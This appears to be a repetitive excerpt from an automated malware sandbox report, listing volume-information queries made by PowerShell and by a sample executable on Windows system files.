Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Users\user\Desktop\0wdppTE7Op.exe VolumeInformation
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Queries volume information: C:\Users\user\Desktop\0wdppTE7Op.exe VolumeInformation
